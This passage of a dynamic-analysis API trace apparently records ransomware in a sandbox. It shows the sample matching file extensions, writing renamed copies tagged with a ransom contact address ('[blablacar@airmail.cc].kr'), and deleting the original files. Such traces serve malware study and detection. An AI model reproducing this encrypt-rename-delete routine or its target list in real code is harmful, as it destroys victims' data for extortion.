(lpString1=".dbf", lpString2=".ico") returned -1 [0088.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.734] lstrlenW (lpString=".1cd") returned 4 [0088.734] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0088.735] lstrlenW (lpString=".jpg") returned 4 [0088.735] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.735] Sleep (dwMilliseconds=0x64) [0088.915] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.915] lstrlenW (lpString="Rotate1.ico") returned 11 [0088.915] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.915] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=894) returned 1 [0088.915] CloseHandle (hObject=0x340) returned 1 [0088.915] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0088.916] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.916] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.916] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.916] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.916] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.916] GetLastError () returned 0x0 [0088.916] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.918] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x380, lpOverlapped=0x0) returned 1 [0088.920] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.920] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xea, lpOverlapped=0x0) returned 1 [0088.920] SetEndOfFile (hFile=0x2b4) returned 1 [0088.920] CloseHandle (hObject=0x2b4) returned 1 [0088.921] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.921] SetEndOfFile (hFile=0x340) returned 1 [0088.922] CloseHandle (hObject=0x340) returned 1 [0088.922] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.923] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0088.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.923] lstrlenW (lpString=".doc") returned 4 [0088.923] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.923] lstrlenW (lpString=".docx") returned 5 [0088.923] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0088.923] lstrlenW (lpString=".pdf") returned 4 [0088.923] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.923] lstrlenW (lpString=".xls") returned 4 [0088.923] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.923] lstrlenW (lpString=".xlsx") returned 5 [0088.923] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0088.923] lstrlenW (lpString=".ppt") returned 4 [0088.924] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.924] lstrlenW (lpString=".zip") returned 4 [0088.924] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.924] lstrlenW (lpString=".rar") returned 4 [0088.924] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.924] lstrlenW (lpString=".bz2") returned 4 [0088.924] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.924] lstrlenW (lpString=".7z") returned 3 [0088.924] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.924] lstrlenW (lpString=".dbf") returned 4 [0088.924] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.924] lstrlenW (lpString=".1cd") returned 4 [0088.924] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.924] lstrlenW (lpString=".jpg") returned 4 [0088.924] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.924] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.924] lstrlenW (lpString=".doc") returned 4 [0088.925] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.925] lstrlenW (lpString=".docx") returned 5 [0088.925] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0088.925] lstrlenW (lpString=".pdf") returned 4 [0088.925] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.925] lstrlenW (lpString=".xls") returned 4 [0088.925] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.925] lstrlenW (lpString=".xlsx") returned 5 [0088.925] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0088.925] lstrlenW (lpString=".ppt") returned 4 [0088.925] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.925] lstrlenW (lpString=".zip") returned 4 [0088.925] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.925] lstrlenW (lpString=".rar") returned 4 [0088.925] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.925] lstrlenW (lpString=".bz2") returned 4 [0088.925] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.925] lstrlenW (lpString=".7z") returned 3 [0088.925] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.925] lstrlenW (lpString=".dbf") returned 4 [0088.925] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.925] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.925] lstrlenW (lpString=".1cd") returned 4 [0088.926] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0088.926] lstrlenW (lpString=".jpg") returned 4 [0088.926] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.926] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.926] lstrlenW (lpString="Rotate2.ico") returned 11 [0088.926] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.926] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=894) returned 1 [0088.926] CloseHandle (hObject=0x340) returned 1 [0088.927] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 0x80 [0088.927] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.927] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.927] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.927] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.927] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.927] GetLastError () returned 0x0 [0088.927] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.930] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x380, lpOverlapped=0x0) returned 1 [0088.931] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.931] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xea, lpOverlapped=0x0) returned 1 [0088.931] SetEndOfFile (hFile=0x2b4) returned 1 [0088.931] CloseHandle (hObject=0x2b4) returned 1 [0088.932] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.932] SetEndOfFile (hFile=0x340) returned 1 [0088.934] CloseHandle (hObject=0x340) returned 1 [0088.934] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.934] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico")) returned 1 [0088.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.934] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.934] lstrlenW (lpString=".doc") returned 4 [0088.935] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.935] lstrlenW (lpString=".docx") returned 5 [0088.935] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0088.935] lstrlenW (lpString=".pdf") returned 4 [0088.935] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.935] lstrlenW (lpString=".xls") returned 4 [0088.935] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.935] lstrlenW (lpString=".xlsx") returned 5 [0088.935] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0088.935] lstrlenW (lpString=".ppt") returned 4 [0088.935] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.935] lstrlenW (lpString=".zip") returned 4 [0088.935] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.935] lstrlenW (lpString=".rar") returned 4 [0088.935] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.935] lstrlenW (lpString=".bz2") returned 4 [0088.935] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.935] lstrlenW (lpString=".7z") returned 3 [0088.935] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.935] lstrlenW (lpString=".dbf") returned 4 [0088.935] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.935] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.936] lstrlenW (lpString=".1cd") returned 4 [0088.936] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.936] lstrlenW (lpString=".jpg") returned 4 [0088.936] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.936] lstrlenW (lpString=".doc") returned 4 [0088.936] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.936] lstrlenW (lpString=".docx") returned 5 [0088.936] lstrcmpiW (lpString1=".docx", lpString2="2.ico") returned -1 [0088.936] lstrlenW (lpString=".pdf") returned 4 [0088.936] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.936] lstrlenW (lpString=".xls") returned 4 [0088.936] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.936] lstrlenW (lpString=".xlsx") returned 5 [0088.936] lstrcmpiW (lpString1=".xlsx", lpString2="2.ico") returned -1 [0088.936] lstrlenW (lpString=".ppt") returned 4 [0088.936] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.936] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.936] lstrlenW (lpString=".zip") returned 4 [0088.936] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.936] lstrlenW (lpString=".rar") returned 4 [0088.936] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.937] lstrlenW (lpString=".bz2") returned 4 [0088.937] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.937] lstrlenW (lpString=".7z") returned 3 [0088.937] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.937] lstrlenW (lpString=".dbf") returned 4 [0088.937] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.937] lstrlenW (lpString=".1cd") returned 4 [0088.937] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.937] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico") returned 42 [0088.937] lstrlenW (lpString=".jpg") returned 4 [0088.937] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.937] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.937] lstrlenW (lpString="Rotate3.ico") returned 11 [0088.937] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.938] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=894) returned 1 [0088.938] CloseHandle (hObject=0x340) returned 1 [0088.945] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0088.945] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.946] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.946] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.946] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.946] GetLastError () returned 0x0 [0088.946] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x37e, lpOverlapped=0x0) returned 1 [0088.948] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x380, lpOverlapped=0x0) returned 1 [0088.950] ReadFile (in: hFile=0x340, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.950] WriteFile (in: hFile=0x2b4, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xea, lpOverlapped=0x0) returned 1 [0088.950] SetEndOfFile (hFile=0x2b4) returned 1 [0088.950] CloseHandle (hObject=0x2b4) returned 1 [0088.951] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.951] SetEndOfFile (hFile=0x340) returned 1 [0088.952] CloseHandle (hObject=0x340) returned 1 [0088.952] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.953] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 1 [0088.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.953] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.953] lstrlenW (lpString=".doc") returned 4 [0088.953] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.953] lstrlenW (lpString=".docx") returned 5 [0088.953] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0088.953] lstrlenW (lpString=".pdf") returned 4 [0088.953] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.953] lstrlenW (lpString=".xls") returned 4 [0088.953] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.953] lstrlenW (lpString=".xlsx") returned 5 [0088.953] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0088.954] lstrlenW (lpString=".ppt") returned 4 [0088.954] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.954] lstrlenW (lpString=".zip") returned 4 [0088.954] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.954] lstrlenW (lpString=".rar") returned 4 [0088.954] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.954] lstrlenW (lpString=".bz2") returned 4 [0088.954] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.954] lstrlenW (lpString=".7z") returned 3 [0088.954] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.954] lstrlenW (lpString=".dbf") returned 4 [0088.954] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.954] lstrlenW (lpString=".1cd") returned 4 [0088.954] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.954] lstrlenW (lpString=".jpg") returned 4 [0088.954] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.954] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.954] lstrlenW (lpString=".doc") returned 4 [0088.955] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.955] lstrlenW (lpString=".docx") returned 5 [0088.955] lstrcmpiW (lpString1=".docx", lpString2="3.ico") returned -1 [0088.955] lstrlenW (lpString=".pdf") returned 4 [0088.955] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.955] lstrlenW (lpString=".xls") returned 4 [0088.955] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0088.955] lstrlenW (lpString=".xlsx") returned 5 [0088.955] lstrcmpiW (lpString1=".xlsx", lpString2="3.ico") returned -1 [0088.955] lstrlenW (lpString=".ppt") returned 4 [0088.955] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.955] lstrlenW (lpString=".zip") returned 4 [0088.955] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0088.955] lstrlenW (lpString=".rar") returned 4 [0088.955] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.955] lstrlenW (lpString=".bz2") returned 4 [0088.955] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0088.955] lstrlenW (lpString=".7z") returned 3 [0088.955] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0088.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.955] lstrlenW (lpString=".dbf") returned 4 [0088.955] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.955] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.955] lstrlenW (lpString=".1cd") returned 4 [0088.955] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0088.956] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico") returned 42 [0088.956] lstrlenW (lpString=".jpg") returned 4 [0088.956] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.956] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0088.956] lstrlenW (lpString="Rotate4.ico") returned 11 [0088.956] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.007] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=894) returned 1 [0089.007] CloseHandle (hObject=0x340) returned 1 [0089.007] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0089.007] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0089.007] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.007] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0089.008] GetLastError () returned 0x0 [0089.008] ReadFile (in: hFile=0x340, 